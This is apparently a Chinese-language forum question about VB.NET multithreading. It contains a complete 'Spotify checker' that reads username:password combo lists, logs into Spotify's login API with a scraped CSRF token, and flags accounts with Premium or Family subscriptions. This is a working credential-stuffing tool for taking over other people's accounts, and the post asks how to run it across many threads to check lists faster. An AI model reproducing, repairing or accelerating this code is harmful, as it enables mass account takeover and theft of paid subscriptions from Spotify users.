所以我创建了一个spotify检查器来检查他们的登录和当前订阅的帐户列表,这很好,但它只在一个线程上运行,而且在我看来真的很慢。所以我开始寻找多线程(我对vb.net很新,我试图以这种方式学习。)但我投入的所有内容都只是在同一个账户上单独运行所有线程而没有任何结果差异,只是他们多次打印出来。
子登录的代码:
Public Sub Login()
Dim index As Integer = 0
While index < Combos.Count
Dim str() As String = Combos(index).Split(":")
Using req As New HttpRequest
req.UserAgent = Http.ChromeUserAgent
req.Cookies = New CookieDictionary()
req.Proxy = Nothing
req.IgnoreProtocolErrors = True
req.Get("https://accounts.spotify.com/en-US/login?continue=https:%2F%2Fwww.spotify.com%2Fus%2Faccount%2Foverview%2F")
Dim token As String = req.Cookies.ToString
Dim csrf As String = Regex.Match(token, "csrf_token=(\S+)").Groups(1).ToString
req.Referer = "https://accounts.spotify.com/en-US/login?continue=https:%2F%2Fwww.spotify.com%2Fus%2Faccount%2Foverview%2F"
req.AddHeader("Cookie", "csrf_token=" + csrf + "; __bon=MHwwfDQ1MzY4Nzk4M3wxOTA1NDg5NTI4NnwxfDF8MXwx; fb_continue=https%3A%2F%2Fwww.spotify.com%2Fus%2Faccount%2Foverview%2F; remember=false")
req.AddParam("remember", "false")
req.AddParam("username", str(0))
req.AddParam("password", str(1))
req.AddParam("captcha_token", "")
req.AddParam("csrf_token", csrf)
Dim respo As String = req.Post("https://accounts.spotify.com/api/login").ToString
If respo.Contains("displayName") Then
Dim IT As New ListViewItem
IT.Text = str(0)
IT.SubItems.Add(str(1))
Dim html As String = req.Post("https://spotify.com/account/subscription/").ToString
Dim Info As Match = Regex.Match(html, "<h3.*>(.*)<\/h3>")
Dim Type As String = Info.Groups(1).Value
If Type.Contains("Spotify Premium") Then
IT.SubItems.Add("Spotify Premium")
ListView1.Items.Add(IT)
Label3.Text += 1
Label1.Text += 1
ElseIf Type.Contains("Premium for Family") Then
IT.SubItems.Add("Spotify Premium for Family")
ListView1.Items.Add(IT)
Label3.Text += 1
Label1.Text += 1
Else
If StrafeCheckBox1.Checked = False Then
Label2.Text += 1
Else
IT.SubItems.Add("Free")
ListView1.Items.Add(IT)
Label1.Text += 1
End If
End If
Else
Label2.Text += 1
End If
End Using
index += 1
StrafeProgressBar1.Value = index
If index = Combos.Count Then
MsgBox("Done, successfull logins: " + Label1.Text)
End If
End While
End Sub
开始按钮的代码:
Private Sub LoginBTN_Click(sender As Object, e As EventArgs) Handles StartBTN.Click
Dim IH As New Thread(AddressOf Login) : IH.Start()
StrafeProgressBar1.Maximum = Combos.Count
End Sub
所以我基本上想知道的是,我是如何让线程拆分的 工作量均匀。并且更快地完成工作。
感谢所有帮助。